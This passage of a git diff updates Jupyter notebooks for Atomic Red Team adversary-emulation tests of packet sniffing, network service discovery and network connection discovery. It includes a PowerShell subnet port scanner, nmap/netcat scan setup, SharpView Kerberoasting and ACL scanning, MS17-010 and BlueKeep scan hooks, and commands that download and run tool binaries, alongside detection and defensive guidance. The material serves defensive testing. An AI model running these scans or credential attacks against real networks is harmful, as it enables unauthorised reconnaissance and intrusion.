linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/t1040_linux_pcapdemo\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/linux_pcapdemo.c -o /tmp/t1040_linux_pcapdemo\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f3b18d9c", + "id": "51ccc009", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 11 -GetPreReqs" + "source": "Invoke-AtomicTest T1040 -TestNumbers 14 -GetPreReqs" }, { "cell_type": "markdown", - "id": "86b1a490", + "id": "edb48ead", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -416,42 +537,42 @@ { "cell_type": "code", "execution_count": null, - "id": "293cf1e6", + "id": "a45fc13a", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 11" + "source": "Invoke-AtomicTest T1040 -TestNumbers 14" }, { "cell_type": "markdown", - "id": "1275d5d8", + "id": "0bc04eb5", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm -f /tmp/t1040_linux_pcapdemo\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e36c576c", + "id": "09521459", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 11 -Cleanup" + "source": "Invoke-AtomicTest T1040 -TestNumbers 14 -Cleanup" }, { "cell_type": "markdown", - "id": "3d8b2d11", + "id": "5255c556", "metadata": {}, - "source": "### Atomic Test #12 - Packet Capture Linux socket AF_PACKET,SOCK_RAW with BPF filter for UDP with sudo\nCaptures packets with domain=AF_PACKET,type=SOCK_RAW for a few seconds.\nSets a BPF filter on the socket to filter for UDP traffic.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/t1040_linux_pcapdemo\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/linux_pcapdemo.c -o /tmp/t1040_linux_pcapdemo\n\n```" + "source": "### Atomic Test #15 - Packet Capture Linux socket AF_PACKET,SOCK_RAW with BPF filter for UDP with sudo\nCaptures packets with domain=AF_PACKET,type=SOCK_RAW for a few seconds.\nSets a BPF filter on the socket to filter for UDP traffic.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/t1040_linux_pcapdemo\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\ncc PathToAtomicsFolder/T1040/src/linux_pcapdemo.c -o /tmp/t1040_linux_pcapdemo\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "edaaadd9", + "id": "86a67329", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 12 -GetPreReqs" + "source": "Invoke-AtomicTest T1040 -TestNumbers 15 -GetPreReqs" }, { "cell_type": "markdown", - "id": "22ec593e", + "id": "69b119fc", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -461,34 +582,34 @@ { "cell_type": "code", "execution_count": null, - "id": "acf986e5", + "id": "c7dd99e0", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 12" + "source": "Invoke-AtomicTest T1040 -TestNumbers 15" }, { "cell_type": "markdown", - "id": "8d6465e1", + "id": "9055d330", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm -f /tmp/t1040_linux_pcapdemo\n```" }, { "cell_type": "code", "execution_count": null, - "id": "90bb78b6", + "id": "5782328f", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1040 -TestNumbers 12 -Cleanup" + "source": "Invoke-AtomicTest T1040 -TestNumbers 15 -Cleanup" }, { "cell_type": "markdown", - "id": "a81e3a47", + "id": "5284c7dc", "metadata": {}, - "source": "## Detection\nDetecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nIn cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors." + "source": "## Detection\nDetecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nIn cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic." }, { "cell_type": "markdown", - "id": "093941dc", + "id": "4cdcb7a4", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nBy changing the output of network sniffing utilities normally found on a system, you can prevent adversaries from seeing particular content or making use of the results at all.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -496,13 +617,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1046.ipynb b/playbook/tactics/discovery/T1046.ipynb index 950e1c02..449bc236 100644 --- a/playbook/tactics/discovery/T1046.ipynb +++ b/playbook/tactics/discovery/T1046.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "8c752bd4", + "id": "86b1efd2", "metadata": {}, "source": "# T1046 - Network Service Discovery\nAdversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021) \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\n\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host\u2019s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)" }, { "cell_type": "markdown", - "id": "6c893656", + "id": "a0452595", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "67a75bab", + "id": "2593ac7f", "metadata": {}, "source": [ "### Atomic Test #1 - Port Scan", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "3eafbfa6", + "id": "c998ebcf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1046 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a892a142", + "id": "e141d536", "metadata": {}, - "source": "### Atomic Test #2 - Port Scan Nmap\nScan ports to check for listening ports with Nmap.\n\nUpon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of adresseses on port 80 to determine if listening. Results will be via stdout.\n\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if nmap command exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v nmap)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which yum && yum -y install epel-release nmap)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y nmap)\n\n```\n##### Description: Check if nc command exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v nc)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which yum && yum -y install epel-release nc)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y netcat)\n\n```\n##### Description: Check if telnet command exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v telnet)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which yum && yum -y install epel-release telnet)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y telnet)\n\n```" + "source": "### Atomic Test #2 - Port Scan Nmap\nScan ports to check for listening ports with Nmap.\nUpon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.\n\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if nmap command exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v nmap)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which yum && yum -y install epel-release nmap)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y nmap)||(which pkg && pkg install -y nmap)\n\n```\n##### Description: Check if nc command exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v nc)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which yum && yum -y install epel-release nc)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y netcat)||(which pkg && pkg install -y netcat)\n\n```\n##### Description: Check if telnet command exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v telnet)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which yum && yum -y install epel-release telnet)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y telnet)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "126bde27", + "id": "bce3ecb3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1046 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "b7fc4ad2", + "id": "fe050883", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -58,28 +58,28 @@ { "cell_type": "code", "execution_count": null, - "id": "9d326769", + "id": "e344d469", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1046 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "8412114c", + "id": "ec8e7b95", "metadata": {}, - "source": "### Atomic Test #3 - Port Scan NMap for Windows\nScan ports to check for listening ports for the local host 127.0.0.1\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: NMap must be installed\n\n##### Check Prereq Commands:\n```powershell\nif (cmd /c \"nmap 2>nul\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest -OutFile $env:temp\\nmap-7.80-setup.exe https://nmap.org/dist/nmap-7.80-setup.exe\nStart-Process $env:temp\\nmap-7.80-setup.exe /S\n\n```" + "source": "### Atomic Test #3 - Port Scan NMap for Windows\nScan ports to check for listening ports for the local host 127.0.0.1\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: NMap must be installed\n\n##### Check Prereq Commands:\n```powershell\nif (cmd /c \"nmap 2>nul\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\nmap-7.80-setup.exe\" https://nmap.org/dist/nmap-7.80-setup.exe\nStart-Process \"PathToAtomicsFolder\\..\\ExternalPayloads\\nmap-7.80-setup.exe\" /S\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c1a6a02a", + "id": "b6636005", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1046 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "ee9c0e34", + "id": "fcca8182", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -89,45 +89,45 @@ { "cell_type": "code", "execution_count": null, - "id": "69cd6fe5", + "id": "0248295d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1046 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "4502c34c", + "id": "ee62e940", "metadata": {}, "source": "### Atomic Test #4 - Port Scan using python\nScan ports to check for listening ports with python\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Check if python exists on the machine\n\n##### Check Prereq Commands:\n```powershell\nif (python --version) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\necho \"Python 3 must be installed manually\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "39564c07", + "id": "53e3f9a3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1046 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "75492379", + "id": "73b6cf2e", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\npython PathToAtomicsFolder\\T1046\\src\\T1046.py -i 127.0.0.1\n```" + "```powershell\npython \"PathToAtomicsFolder\\T1046\\src\\T1046.py\" -i 127.0.0.1\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "6d9162bd", + "id": "28c1cd83", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1046 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "8260bd0b", + "id": "db6d79de", "metadata": {}, "source": [ "### Atomic Test #5 - WinPwn - spoolvulnscan", @@ -140,14 +140,14 @@ { "cell_type": "code", "execution_count": null, - "id": "885f13ec", + "id": "3e71f01c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1046 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "4c52b87e", + "id": "95d3e320", "metadata": {}, "source": [ "### Atomic Test #6 - WinPwn - MS17-10", @@ -160,14 +160,14 @@ { "cell_type": "code", "execution_count": null, - "id": "05c38bbd", + "id": "9f521d52", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1046 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "0decd820", + "id": "a9b377a0", "metadata": {}, "source": [ "### Atomic Test #7 - WinPwn - bluekeep", @@ -180,14 +180,14 @@ { "cell_type": "code", "execution_count": null, - "id": "810f70d6", + "id": "8fcdd812", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1046 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "548a7b90", + "id": "4792cb28", "metadata": {}, "source": [ "### Atomic Test #8 - WinPwn - fruit", @@ -200,20 +200,85 @@ { "cell_type": "code", "execution_count": null, - "id": "94c1927f", + "id": "bf495dac", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1046 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "7a871985", + "id": "43fed7e4", + "metadata": {}, + "source": "### Atomic Test #9 - Network Service Discovery for Containers\nAttackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and vulnerability scans in order to obtain this information.\n**Supported Platforms:** containers\n#### Dependencies: Run with `sh`!\n##### Description: Verify docker is installed.\n##### Check Prereq Commands:\n```sh\nwhich docker\n\n```\n##### Get Prereq Commands:\n```sh\nif [ \"\" == \"`which docker`\" ]; then echo \"Docker Not Found\"; if [ -n \"`which apt-get`\" ]; then sudo apt-get -y install docker ; elif [ -n \"`which yum`\" ]; then sudo yum -y install docker ; fi ; else echo \"Docker installed\"; fi\n\n```\n##### Description: Verify docker service is running.\n##### Check Prereq Commands:\n```sh\nsudo systemctl status docker --no-pager\n\n```\n##### Get Prereq Commands:\n```sh\nsudo systemctl start docker\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f871189a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1046 -TestNumbers 9 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "c9119ca0", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\ndocker build -t t1046 /root/AtomicRedTeam/atomics/T1046/src/\ndocker run --name t1046_container -d -t t1046\ndocker exec t1046_container ./test.sh```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2a088cc1", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1046 -TestNumbers 9" + }, + { + "cell_type": "markdown", + "id": "483ec1af", + "metadata": {}, + "source": "#### Cleanup: \n```sh\ndocker stop t1046_container\ndocker rmi -f t1046```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "03bf9a7f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1046 -TestNumbers 9 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "507745e6", + "metadata": {}, + "source": [ + "### Atomic Test #10 - Port-Scanning /24 Subnet with PowerShell", + "Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's \"primary\" IPv4 address first and then scans that address with a /24 netmask.\nThe connection attempts to use a timeout parameter in milliseconds to speed up the scan. Please note the atomic might not print any output until the scans are completed.\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$ipAddr = \"\"\nif ($ipAddr -eq \"\") {\n # Assumes the \"primary\" interface is shown at the top\n $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1\n Write-Host \"[i] Using Interface $interface\"\n $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress\n}\nWrite-Host \"[i] Base IP-Address for Subnet: $ipAddr\"\n$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)\n# Always assumes /24 subnet\nWrite-Host \"[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'\"\n\n$ports = 445, 3389\n$subnetIPs = 1..254 | ForEach-Object { \"$subnetSubstring$_\" }\n\nforeach ($ip in $subnetIPs) {\n foreach ($port in $ports) {\n try {\n $tcp = New-Object Net.Sockets.TcpClient\n $tcp.ConnectAsync($ip, $port).Wait(200) | Out-Null\n } catch {}\n if ($tcp.Connected) {\n $tcp.Close()\n Write-Host \"Port $port is open on $ip\"\n }\n }\n}\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d2da29ff", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1046 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "8989d3e1", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans." }, { "cell_type": "markdown", - "id": "af6ee2b5", + "id": "b33ffa76", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nA defender can change the output of a recon commands to hide simulation elements you don\u2019t want attacked and present simulation elements you want the adversary to engage with.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -221,13 +286,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1049.ipynb b/playbook/tactics/discovery/T1049.ipynb index 402c5c9c..d40d2dac 100644 --- a/playbook/tactics/discovery/T1049.ipynb +++ b/playbook/tactics/discovery/T1049.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "39dd8021", + "id": "c360bfc1", "metadata": {}, "source": "# T1049 - System Network Connections Discovery\nAdversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used (e.g. show ip sockets, show tcp brief).(Citation: US-CERT-TA18-106A)" }, { "cell_type": "markdown", - "id": "54610fb2", + "id": "e21f738d", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "d060332a", + "id": "874fd83f", "metadata": {}, "source": [ "### Atomic Test #1 - System Network Connections Discovery", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "2a40b846", + "id": "33184804", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1049 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "7d132225", + "id": "ed2f9a3e", "metadata": {}, "source": [ "### Atomic Test #2 - System Network Connections Discovery with PowerShell", @@ -47,28 +47,28 @@ { "cell_type": "code", "execution_count": null, - "id": "dd0a41fe", + "id": "5dcf018c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1049 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "c7dc6826", + "id": "ba39f60b", "metadata": {}, - "source": "### Atomic Test #3 - System Network Connections Discovery Linux & MacOS\nGet a listing of network connections.\n\nUpon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: Check if netstat command exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v netstat)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Install netstat on the machine.\"; exit 1;\n\n```" + "source": "### Atomic Test #3 - System Network Connections Discovery FreeBSD, Linux & MacOS\nGet a listing of network connections.\n\nUpon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: Check if netstat command exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v netstat)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Install netstat on the machine.\"; exit 1;\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "21e5271b", + "id": "e18de9d3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1049 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5417ab98", + "id": "ee3993d9", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -78,51 +78,51 @@ { "cell_type": "code", "execution_count": null, - "id": "502ae691", + "id": "c4068e85", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1049 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "d5243139", + "id": "7962b850", "metadata": {}, - "source": "### Atomic Test #4 - System Discovery using SharpView\nGet a listing of network connections, domains, domain users, and etc. \nsharpview.exe located in the bin folder, an opensource red-team tool.\nUpon successful execution, cmd.exe will execute sharpview.exe . Results will output via stdout.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Sharpview.exe must exist on disk at specified location (#{SharpView})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1049\\bin\\SharpView.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1049\\bin\\SharpView.exe) -ErrorAction ignore | Out-Null\nInvoke-WebRequest https://github.com/tevora-threat/SharpView/blob/b60456286b41bb055ee7bc2a14d645410cca9b74/Compiled/SharpView.exe?raw=true -OutFile \"PathToAtomicsFolder\\T1049\\bin\\SharpView.exe\"\n\n```" + "source": "### Atomic Test #4 - System Discovery using SharpView\nGet a listing of network connections, domains, domain users, and etc. \nsharpview.exe located in the bin folder, an opensource red-team tool.\nUpon successful execution, cmd.exe will execute sharpview.exe . Results will output via stdout.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Sharpview.exe must exist on disk at specified location (#{SharpView})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\SharpView.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\SharpView.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest https://github.com/tevora-threat/SharpView/blob/b60456286b41bb055ee7bc2a14d645410cca9b74/Compiled/SharpView.exe?raw=true -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\SharpView.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5503f03a", + "id": "615e1561", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1049 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d9aa03a5", + "id": "15948d15", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$syntaxList = \"Invoke-ACLScanner\", \"Invoke-Kerberoast\", \"Find-DomainShare\" \n\nforeach ($syntax in $syntaxList) {\nPathToAtomicsFolder\\T1049\\bin\\SharpView.exe $syntax -}\n```" + "```powershell\n$syntaxList = \"Invoke-ACLScanner\", \"Invoke-Kerberoast\", \"Find-DomainShare\" \n\nforeach ($syntax in $syntaxList) {\nPathToAtomicsFolder\\..\\ExternalPayloads\\SharpView.exe $syntax -}\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "15935c26", + "id": "f7f22100", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1049 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "eaa07a12", + "id": "9cc6e26e", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001)." }, { "cell_type": "markdown", - "id": "3d08c346", + "id": "54c041fd", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nA defender can manipulate the output of commands commonly used to enumerate a system's network connections. They could seed this output with decoy systems and/or networks or remove legitimate systems from the output in order to direct an adversary away from legitimate systems.\n#### Procedures\nHook the Win32 Sleep() 